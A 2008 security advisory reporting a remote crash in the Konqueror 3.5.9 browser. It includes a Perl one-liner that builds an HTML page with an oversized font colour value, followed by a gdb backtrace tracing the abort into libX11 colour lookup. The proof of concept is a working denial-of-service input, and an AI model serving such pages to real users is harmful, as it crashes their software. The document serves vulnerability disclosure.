Konqueror 3.5.9 (font color) Remote Crash Vulnerability

2008.10.10
Credit: Jeremy Brown
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Konqueror isn't immune from fuzzing either Konqueror, KDE's mighty mascot browser.. fuzzed. perl -e 'print "<html>\n" . "<font color=" . "A" x 500000 . "\n</html>"' > kdie.html #6 0xb7f8d410 in __kernel_vsyscall () #7 0xb7cf2085 in raise () from /lib/tls/i686/cmov/libc.so.6 #8 0xb7cf3a01 in abort () from /lib/tls/i686/cmov/libc.so.6 #9 0xb7ceb10e in __assert_fail () from /lib/tls/i686/cmov/libc.so.6 #10 0xb6e94d10 in ?? () from /usr/lib/libX11.so.6 #11 0xb6e9518a in _XPutXCBBuffer () from /usr/lib/libX11.so.6 #12 0xb6e965df in _XSend () from /usr/lib/libX11.so.6 #13 0xb6e7c758 in XLookupColor () from /usr/lib/libX11.so.6 #14 0xb71a61d1 in QColor::setSystemNamedColor () from /usr/lib/libqt-mt.so.3 #15 0xb721c446 in QColor::setNamedColor () from /usr/lib/libqt-mt.so.3 #16 0xb60c5250 in ?? () from /usr/lib/libkhtml.so.4 #17 0xb60d143b in DOM::CSSParser::parseColorFromValue () from /usr/lib/libkhtml.so.4 #18 0xb60d216d in DOM::CSSParser::parseColor () from /usr/lib/libkhtml.so.4 #19 0xb60d3c9f in DOM::CSSParser::parseValue () from /usr/lib/libkhtml.so.4 #20 0xb60d7a09 in ?? () from /usr/lib/libkhtml.so.4 #21 0xb60d8134 in DOM::CSSParser::runParser () from /usr/lib/libkhtml.so.4 #22 0xb60d85a2 in DOM::CSSParser::parseValue () from /usr/lib/libkhtml.so.4 #23 0xb60d86e1 in ?? () from /usr/lib/libkhtml.so.4 #24 0xb601f0e9 in ?? () from /usr/lib/libkhtml.so.4 #25 0xb6021711 in ?? () from /usr/lib/libkhtml.so.4 #26 0xb6002b8a in ?? () from /usr/lib/libkhtml.so.4 #27 0xb602da00 in ?? () from /usr/lib/libkhtml.so.4 #28 0xb602dc96 in ?? () from /usr/lib/libkhtml.so.4 #29 0xb603b11f in ?? () from /usr/lib/libkhtml.so.4 #30 0xb603d5ae in ?? () from /usr/lib/libkhtml.so.4 #31 0xb5fb064e in KHTMLPart::write () from /usr/lib/libkhtml.so.4 #32 0xb5fa50c4 in KHTMLPart::slotData () from /usr/lib/libkhtml.so.4 #33 0xb5fd527f in KHTMLPart::qt_invoke () from /usr/lib/libkhtml.so.4 #34 0xb7277704 in QObject::activate_signal () from /usr/lib/libqt-mt.so.3 #35 0xb7ab2dcd in KIO::TransferJob::data () from /usr/lib/libkio.so.4 #36 0xb7ab2e38 in KIO::TransferJob::slotData () from /usr/lib/libkio.so.4 #37 0xb7afa659 in KIO::TransferJob::qt_invoke () from /usr/lib/libkio.so.4 #38 0xb7277704 in QObject::activate_signal () from /usr/lib/libqt-mt.so.3 #39 0xb7ab11ae in KIO::SlaveInterface::data () from /usr/lib/libkio.so.4 #40 0xb7af9e89 in KIO::SlaveInterface::dispatch () from /usr/lib/libkio.so.4 #41 0xb7b1be4a in KIO::SlaveInterface::dispatch () from /usr/lib/libkio.so.4 #42 0xb7ac2d7c in KIO::Slave::gotInput () from /usr/lib/libkio.so.4 #43 0xb7af1278 in KIO::Slave::qt_invoke () from /usr/lib/libkio.so.4 #44 0xb7277704 in QObject::activate_signal () from /usr/lib/libqt-mt.so.3 #45 0xb7278051 in QObject::activate_signal () from /usr/lib/libqt-mt.so.3 #46 0xb7607b99 in QSocketNotifier::activated () from /usr/lib/libqt-mt.so.3 #47 0xb7299766 in QSocketNotifier::event () from /usr/lib/libqt-mt.so.3 #48 0xb720bc36 in QApplication::internalNotify () from /usr/lib/libqt-mt.so.3 #49 0xb720da5f in QApplication::notify () from /usr/lib/libqt-mt.so.3 #50 0xb7911672 in KApplication::notify () from /usr/lib/libkdecore.so.4 #51 0xb719c28d in QApplication::sendEvent () from /usr/lib/libqt-mt.so.3 #52 0xb71fdb4a in QEventLoop::activateSocketNotifiers () from /usr/lib/libqt-mt.so.3 #53 0xb71b1630 in QEventLoop::processEvents () from /usr/lib/libqt-mt.so.3 #54 0xb7226f90 in QEventLoop::enterLoop () from /usr/lib/libqt-mt.so.3 #55 0xb7226c8e in QEventLoop::exec () from /usr/lib/libqt-mt.so.3 #56 0xb720d7df in QApplication::exec () from /usr/lib/libqt-mt.so.3 #57 0xb666390a in kdemain () from /usr/lib/libkdeinit_konqueror.so #58 0xb6748454 in kdeinitmain () from /usr/lib/kde3/konqueror.so #59 0x0804ee20 in ?? () #60 0x0804f541 in ?? () #61 0x0804fa7b in ?? () #62 0x0805057d in ?? () #63 0xb7cdd450 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 #64 0x0804bb91 in ?? () Looks like it might have something to do with libx11... konqueror: ../../src/xcb_lock.c:89: request_length: Assertion `vec[0].iov_len >= 4' failed. Program received signal SIGABRT, Aborted. [Switching to Thread 0xb660f6c0 (LWP 10553)] 0xb7eef410 in __kernel_vsyscall () (gdb) i r eax 0x0 0 ecx 0x2939 10553 edx 0x6 6 ebx 0x2939 10553 esp 0xbf855efc 0xbf855efc ebp 0xbf855f18 0xbf855f18 esi 0x2939 10553 edi 0xb7cd8ff4 -1211265036 eip 0xb7eef410 0xb7eef410 <__kernel_vsyscall+16> eflags 0x206 [ PF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) Tested on Ubuntu 8.04 + Konqueror 3.5.9 , fully patched. Peace.

References:

http://www.securityfocus.com/bid/31605
http://www.milw0rm.com/exploits/6689


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